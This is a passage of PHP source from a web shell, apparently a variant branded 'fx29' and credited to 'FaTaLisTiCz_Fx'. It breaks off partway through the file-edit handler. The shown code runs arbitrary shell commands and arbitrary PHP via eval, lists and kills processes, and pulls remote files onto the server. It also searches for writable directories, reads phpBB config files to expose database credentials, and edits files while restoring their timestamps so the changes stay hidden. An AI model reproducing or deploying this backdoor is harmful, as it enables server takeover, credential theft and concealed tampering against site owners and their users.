if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
<br>";}
unset($sess_data["cut"][$k]);
}
fx29_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Error pasting:</b><br>".$psterr;}
$act = "ls";
}
}
if ($act == "cmd") {
@chdir($chdir);
if (!empty($submit)) {
echo "<div class=barheader>.: Results of Execution :.</div>\n";
$olddir = realpath(".");
@chdir($d);
$ret = fx29exec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt) {
$rows = count(explode("\n",$ret))+1;
if ($rows < 10) { $rows = 10; } else { $rows = 30; }
$cols = 115;
echo "<textarea class=shell cols=\"$cols\" rows=\"$rows\" readonly>
".htmlspecialchars($ret)."</textarea>\n";
//echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>
";
}
else { echo $ret."<br>"; }
@chdir($olddir);
}
}
if ($act == "ls") {
if (count($ls_arr) > 0) { $list = $ls_arr; }
else {
$list = array();
if ($h = @opendir($d)) {
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder
(".htmlspecialchars($d).")!</div>";}
else {
$objects = array();
$vd = "f"; //Viewing mode
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v) {
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
elseif (is_dir($v)) {
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr
["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Date Modified</b>";
if (!$win) {$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = " <a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=
".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?
"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?
"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++) {
if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=
".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d") {
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects
["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a) {
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>
".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>
".$disppath."</u>";}
foreach ($regxp_highlight as $r) {
if (ereg($r[0],$o)) {
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean
(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] -
unknown command."; fx29shexit();}
else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] =
= 2) and !$isdir)) {
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".") {
$row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=
small_dir\" border=\"0\">&nbsp;".$o."</a>";
$row[] = "CURDIR";
}
elseif ($o == "..") {
$row[] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."act=img&img=
ext_lnk\" border=\"0\">&nbsp;".$o."</a>";
$row[] = "UPDIR";
}
elseif (is_dir($v)) {
if (is_link($v)) {
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\
"><img src=\"".$surl."act=img&img=ext_lnk\" border=\"0\">&nbsp;
[".$disppath."]</a>";
}
else {
$type = "DIR";
$row[] = "<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."
\"><img src=\"".$surl."act=img&img=small_dir\" border=\"0\">&nbsp;
[".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v)) {
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."\"><img
src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$disppath."
</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) { $row[] = $a[3]; }
$row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>
".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\
"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=
\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">
<img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a>&
nbsp;".$checkbox;}
else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=
".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\
"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=
".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\
"Edit\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\
"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=
img&img=download\" alt=\"Download\" border=\"0\"></a>&nbsp;".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
// Compiling table
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab
["links"],$tab["files"]);
echo "<div class=barheader>.: ";
if (!empty($fx_infohead)) { echo $fx_infohead; }
else { echo "Directory List (".count($tab["files"])." files and ".
(count($tab["folders"])+count($tab["links"]))." folders)"; }
echo " :.</div>\n";
echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input
type=hidden name=act value=\"".$dspact."\"><input type=hidden name=d value=
".$d.">".
"<table class=explorer>";
foreach($table as $row) {
echo "<tr>";
foreach($row as $v) {echo "<td>".$v."</td>";}
echo "</tr>\r\n";
}
echo "</table>".
"<script>".
"function ls_setcheckboxall(status) {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById
('actbox'+id).checked = status; id++; }".
"}".
"function ls_reverse_all() {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById
('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
id++; }".
"}".
"</script>".
"<div align=\"right\">".
"<input type=\"button\" onclick=\"ls_setcheckboxall(true);\"
value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\
"ls_setcheckboxall(false);\" value=\"Unselect all\">".
"<img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and
($usefsbuff)) {
echo "<input type=submit name=actarcbuff value=\"Pack buffer to
archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\
"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value
=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\
"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
}
echo "<select name=act><option value=\"".$act."\">With selected:</
option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">
Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">
Change-mode</option>";
if ($usefsbuff) {
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</
option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy
</option>";
echo "<option value=unselect".($dspact == "unselect"?"
selected":"").">Unselect</option>";
}
echo "</select>&nbsp;<input type=submit value=\"Confirm\"></div>";
echo "</form>";
}
}
if ($act == "tools") { tools(); }
if ($act == "phpfsys") { //By FaTaLisTiCz_Fx
echo "<div align=left>";
$fsfunc = $phpfsysfunc;
if ($fsfunc=="copy") {
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";}
else { echo "<b>Success!</b> $arg1 copied to $arg2\n"; }
}
elseif ($fsfunc=="rename") {
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";}
else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2\n"; }
}
elseif ($fsfunc=="chmod") {
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";}
else { echo "<b>Perm for $arg1 changed to $arg2!</b>\n"; }
}
elseif ($fsfunc=="read") {
$hasil = @file_get_contents($arg1);
echo "<b>Filename:</b> ".$d.$arg1."<br>";
echo "<center><textarea cols=100 rows=20>";
echo htmlentities($hasil);
echo "</textarea></center>\n";
}
elseif ($fsfunc=="write") {
if(@file_put_contents($d.$arg1,$arg2)) {
echo "<b>Saved!</b> ".$d.$arg1;
}
else { echo "<div class=fxerrmsg>Can't write to $arg1!</div>"; }
}
elseif ($fsfunc=="downloadbin") {
$handle = fopen($arg1, "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to
".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>";
}
fclose($r);
fclose($handle);
}
elseif ($fsfunc=="download") {
$text = implode('', file($arg1));
if ($text) {
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to
".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Can't write to ".$d.$arg2."!</div>
"; }
fclose($r);
}
else { echo "<div class=fxerrmsg>Can't download from $arg1!</div>";}
}
elseif ($fsfunc=='mkdir') {
$thedir = $d.$arg1;
if ($thedir != $d) {
if (file_exists($thedir)) { echo "<b>Already exists:</b>
".htmlspecialchars($thedir); }
elseif (!mkdir($thedir)) { echo "<b>Access denied:</b>
".htmlspecialchars($thedir); }
else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
}
else { echo "Can't create current dir:<b> $thedir</b>"; }
}
elseif ($fsfunc=='fwritabledir') {
function recurse_dir($dir,$max_dir) {
global $dir_count;
$dir_count++;
if( $cdir = dir($dir) ) {
while( $entry = $cdir-> read() ) {
if( $entry != '.' && $entry != '..' ) {
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
if ($dir_count > $max_dir) { return; }
echo "[".$dir_count."] ".$dir.$entry."\n";
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
}
}
}
$cdir->close();
}
}
if (!$arg1) { $arg1 = $d; }
if (!$arg2) { $arg2 = 10; }
if (is_dir($arg1)) {
echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<hr noshade
size=1>";
echo "<pre>";
recurse_dir($arg1,$arg2);
echo "</pre>";
$total = $dir_count - 1;
echo "<hr noshade size=1><b>Founds:</b> ".$total." of <b>Max</b>
$arg2";
}
else {
echo "<div class=fxerrmsg>Directory is not exist or permission
denied!</div>";
}
}
else {
if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill
parameter [A]!</div>\n"; }
else {
if ($hasil = $fsfunc($arg1)) {
echo "<b>Result of $fsfunc $arg1:</b><br>";
if (!is_array($hasil)) { echo "$hasil\n"; }
else {
echo "<pre>";
foreach ($hasil as $v) { echo $v."\n"; }
echo "</pre>";
}
}
else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>\n"; }
}
}
echo "</div>\n";
}
if ($act == "processes") {
echo "<div class=barheader>.: Processes :.</div>\n";
if (!$win) { $handler = "ps aux".($grep?" | grep '".addslashes
($grep)."'":""); }
else { $handler = "tasklist"; }
$ret = fx29exec($handler);
if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
else {
if (empty($processes_sort)) { $processes_sort = $sort_default; }
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&
processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" border
=\"0\"></a>";
}
else {
$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&
processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=
\"9\" width=\"14\" border=\"0\"></a>";
}
$ret = htmlspecialchars($ret);
if (!$win) { //Not Windows
if ($pid) {
if (is_null($sig)) { $sig = 9; }
echo "Sending signal ".$sig." to #".$pid."... ";
if (posix_kill($pid,$sig)) { echo "OK."; } else { echo "ERROR.";
}
}
while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
$stack = explode("\n",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
for($i=0;$i<count($head);$i++) {
if ($i != $k) {
$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode
($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";
}
}
$head[$i] = "";
$prcs = array();
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10));
$line = array_slice($line,0,11);
if ($line[0] == get_current_user()) { $line[0] = "<font color=
green>".$line[0]."</font>"; }
$line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."
&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
$prcs[] = $line;
}
}
}
//For Windows - Fixed By FaTaLisTiCz_Fx
else {
while (ereg(" ",$ret)) { $ret = str_replace(" "," ",$ret); }
while (ereg("=",$ret)) { $ret = str_replace("=","",$ret); }
$ret = convert_cyr_string($ret,"d","w");
$stack = explode("\n",$ret);
unset($stack[0],$stack[2]);
$stack = array_values($stack);
$stack[0]=str_replace("Image Name","ImageName",$stack[0]);
$stack[0]=str_replace("Session Name","SessionName",$stack[0]);
$stack[0]=str_replace("Mem Usage","MemoryUsage",$stack[0]);
$head = explode(" ",$stack[0]);
$stack = array_slice($stack,1);
$head = array_values($head);
if ($parsesort[1] != "a") { $y = "<a href=\"".$surl."act=
".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\
"".$surl."act=img&img=sort_desc\" border=\"0\"></a>"; }
else { $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."
&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" border
=\"0\"></a>"; }
if ($k > count($head)) {$k = count($head)-1;}
for($i=0;$i<count($head);$i++) {
if ($i != $k) { $head[$i] = "<a href=\"".$surl."act=".$dspact."&d
=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head
[$i])."</b></a>"; }
}
$prcs = array();
unset($stack[0]);
foreach ($stack as $line) {
if (!empty($line)) {
$line = explode(" ",$line);
$line[4] = str_replace(".","",$line[4]);
$line[4] = intval($line[4]) * 1024;
unset($line[5]);
$prcs[] = $line;
}
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $processes_sort[0];
usort($prcs,"tabsort");
if ($processes_sort[1] == "d") { $prcs = array_reverse($prcs); }
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<table class=explorer>\n";
foreach($tab as $i=>$k) {
echo "<tr>";
foreach($k as $j=>$v) {
if ($win and $i > 0 and $j == 4) { $v = view_size($v); }
echo "<td>".$v."</td>";
}
echo "</tr>\n";
}
echo "</table>";
}
}
if ($act == "eval") {
if (!empty($eval)) {
echo "Result of execution this PHP-code:<br>";
$tmp = ob_get_contents();
$olddir = realpath(".");
@chdir($d);
if ($tmp) {
ob_clean();
eval($eval);
$ret = ob_get_contents();
$ret = convert_cyr_string($ret,"d","w");
ob_clean();
echo $tmp;
if ($eval_txt) {
$rows = count(explode("\r\n",$ret))+1;
if ($rows < 10) {$rows = 10;}
echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>
".htmlspecialchars($ret)."</textarea>";
}
else {echo $ret."<br>";}
}
else {
if ($eval_txt) {
echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
eval($eval);
echo "</textarea>";
}
else {echo $ret;}
}
@chdir($olddir);
}
else {echo "<b>PHP-code Execution (Use without PHP Braces!)</b>"; if
(empty($eval_txt)) {$eval_txt = TRUE;}}
echo "<form action=\"".$surl."\" method=POST><input type=hidden name=
act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">
".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\
"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in
text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if
($eval_txt) {echo " checked";} echo "></form>";
}
if ($act == "f") {
echo "<div align=left>";
if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") {
if (file_exists($d.$f)) {echo "<center><b>Permision denied
(".htmlspecialchars($d.$f).")!</b></center>";}
else {echo "<center><b>File does not exists (".htmlspecialchars
($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=
".urlencode($d)."&c=1\"><u>Create</u></a></center>";}
}
else {
$r = @file_get_contents($d.$f);
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k;
break;}}
if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
if (empty($ft)) {$ft = $rft;}
$arr = array(
array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">
","info"),
array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">
","html"),
array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">
","txt"),
array("Code","code"),
array("Session","phpsess"),
array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">
","exe"),
array("SDB","sdb"),
array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">
","img"),
array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">
","ini"),
array("<img src=\"".$surl."act=img&img=download\" border=\"0\">
","download"),
array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">
","notepad"),
array("<img src=\"".$surl."act=img&img=change\" border=\"0\">
","edit")
);
echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act
=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize
($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b>
<br>Select action/file-type:<br>";
foreach($arr as $t) {
if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode
($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</
font></a>";}
elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=
".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></
b></a>";}
else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t
[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";}
echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&
white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |";
}
echo "<hr size=\"1\" noshade>";
if ($ft == "info") {
echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=
2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td>
<td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td>
".md5_file($d.$f)."</td></tr>";
if (!$win) {
echo "<tr><td><b>Owner/Group</b></td><td> ";
$ow = posix_getpwuid(fileowner($d.$f));
$gr = posix_getgrgid(filegroup($d.$f));
echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?
$gr["name"]:filegroup($d.$f));
}
echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=
".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></
td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime
($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y
H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td>
".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table>";
$fi = fopen($d.$f,"rb");
if ($fi) {
if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread
($fi,filesize($d.$f));}
else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread
($fi,$hexdump_lines*$hexdump_rows);}
$n = 0;
$a0 = "00000000<br>";
$a1 = "";
$a2 = "";
for ($i=0; $i<strlen($str); $i++) {
$a1 .= sprintf("%02X",ord($str[$i]))." ";
switch (ord($str[$i])) {
case 0: $a2 .= "<font>0</font>"; break;
case 32:
case 10:
case 13: $a2 .= "&nbsp;"; break;
default: $a2 .= htmlspecialchars($str[$i]);
}
$n++;
if ($n == $hexdump_rows) {
$n = 0;
if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>
";}
$a1 .= "<br>";
$a2 .= "<br>";
}
}
echo "<table border=1 bgcolor=#666666>".
"<tr><td bgcolor=#666666>".$a0."</td>".
"<td bgcolor=#000000>".$a1."</td>".
"<td bgcolor=#000000>".$a2."</td>".
"</tr></table><br>";
}
$encoded = "";
if ($base64 == 1) {
echo "<b>Base64 Encode</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
}
elseif($base64 == 2) {
echo "<b>Base64 Encode + Chunk</b><br>";
$encoded = chunk_split(base64_encode(file_get_contents($d.$f)));
}
elseif($base64 == 3) {
echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
$encoded = base64_encode(file_get_contents($d.$f));
$encoded = substr(preg_replace("!.{1,76}!","'\\0'.\
n",$encoded),0,-2);
}
elseif($base64 == 4) {
$text = file_get_contents($d.$f);
$encoded = base64_decode($text);
echo "<b>Base64 Decode";
if (base64_encode($encoded) != $text) {echo " (failed)";}
echo "</b><br>";
}
if (!empty($encoded))
{
echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</
textarea><br><br>";
}
echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode
($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\
"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</
a>]<br><b>Base64: </b>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&
base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr>
<P>";
}
elseif ($ft == "html") {
if ($white) {@ob_clean();}
echo $r;
if ($white) {fx29shexit();}
}
elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";}
elseif ($ft == "ini") {echo "<pre>"; var_dump(parse_ini_file
($d.$f,TRUE)); echo "</pre>";}
elseif ($ft == "phpsess") {
echo "<pre>";
$v = explode("|",$r);
echo $v[0]."<br>";
var_dump(unserialize($v[1]));
echo "</pre>";
}
elseif ($ft == "exe") {
$ext = explode(".",$f);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$rft = "";
foreach($exeftypes as $k=>$v)
{
if (in_array($ext,$v)) {$rft = $k; break;}
}
$cmd = str_replace("%f%",$f,$rft);
echo "<b>Execute file:</b><form action=\"".$surl."\" method=POST>
<input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\"
value=\"".htmlspecialchars($cmd)."\" size=\"".(strlen($cmd)+2)."\"><br>
Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\"
checked><input type=hidden name=\"d\" value=\"".htmlspecialchars($d)."\">
<br><input type=submit name=submit value=\"Execute\"></form>";
}
elseif ($ft == "sdb") {echo "<pre>"; var_dump(unserialize(base64_decode
($r))); echo "</pre>";}
elseif ($ft == "code") {
if (ereg("php"."BB 2.(.*) auto-generated config file",$r)) {
$arr = explode("\n",$r);
if (count($arr == 18)) {
include($d.$f);
echo "<b>phpBB configuration is detected in this file!<br>";
if ($dbms == "mysql4") {$dbms = "mysql";}
if ($dbms == "mysql") {echo "<a href=\"".$surl."act=sql&
sql_server=".htmlspecialchars($dbhost)."&sql_login=".htmlspecialchars
($dbuser)."&sql_passwd=".htmlspecialchars($dbpasswd)."&sql_port=3306&sql_db
=".htmlspecialchars($dbname)."\"><b><u>Connect to DB</u></b></a><br><br>";}
else {echo "But, you can't connect to forum sql-base, because
db-software=\"".$dbms."\" is not supported by ".$sh_name.". Please, report
us for fix.";}
echo "Parameters for manual connect:<br>";
$cfgvars = array("dbms"=>$dbms,"dbhost"=>$dbhost,"dbname"=>
$dbname,"dbuser"=>$dbuser,"dbpasswd"=>$dbpasswd);
foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."=
'".htmlspecialchars($v)."'<br>";}
echo "</b><hr size=\"1\" noshade>";
}
}
echo "<div style=\"border : 0px solid #FFFFFF; padding: 1em;
margin-top: 1em; margin-bottom: 1em; margin-right: 1em; margin-left: 1em;
background-color: ".$highlight_background .";\">";
if (!empty($white)) {@ob_clean();}
highlight_file($d.$f);
if (!empty($white)) {fx29shexit();}
echo "</div>";
}
elseif ($ft == "download") {
@ob_clean();
header("Content-type: application/octet-stream");
header("Content-length: ".filesize($d.$f));
header("Content-disposition: attachment; filename=\"".$f."\";");
echo $r;
exit;
}
elseif ($ft == "notepad") {
@ob_clean();
header("Content-type: text/plain");
header("Content-disposition: attachment; filename=\"".$f.".txt\";");
echo($r);
exit;
}
elseif ($ft == "img") {
$inf = getimagesize($d.$f);
if (!$white) {
if (empty($imgsize)) {$imgsize = 20;}
$width = $inf[0]/100*$imgsize;
$height = $inf[1]/100*$imgsize;
echo "<center><b>Size:</b>&nbsp;";
$sizes = array("100","50","20");
foreach ($sizes as $v) {
echo "<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=img&d=
".urlencode($d)."&imgsize=".$v."\">";
if ($imgsize != $v ) {echo $v;}
else {echo "<u>".$v."</u>";}
echo "</a>&nbsp;&nbsp;&nbsp;";
}
echo "<br><br><img src=\"".$surl."act=f&f=".urlencode($f)."&ft=img&
white=1&d=".urlencode($d)."\" width=\"".$width."\" height=\"".$height."\"
border=\"1\"></center>";
}
else {
@ob_clean();
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
header("Content-type: ".$inf["mime"]);
readfile($d.$f);
exit;
}
}
elseif ($ft == "edit") {
if (!empty($submit))
{
if ($filestealth) {$stat = stat($d.$f);}
$fp = fopen($d.$f,"w");
if (!$fp) {echo "<b>Can't write to file!</b>";}
else
{
echo "<b>Saved!</b>";
fwrite($fp,$edit_text);
fclose($fp);
if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
$r = $edit_text;
}
}
$rows = count(explode("\r\n",$r));
if ($rows < 10) {$rows = 10;}
if ($rows > 30) {$rows = 30;}
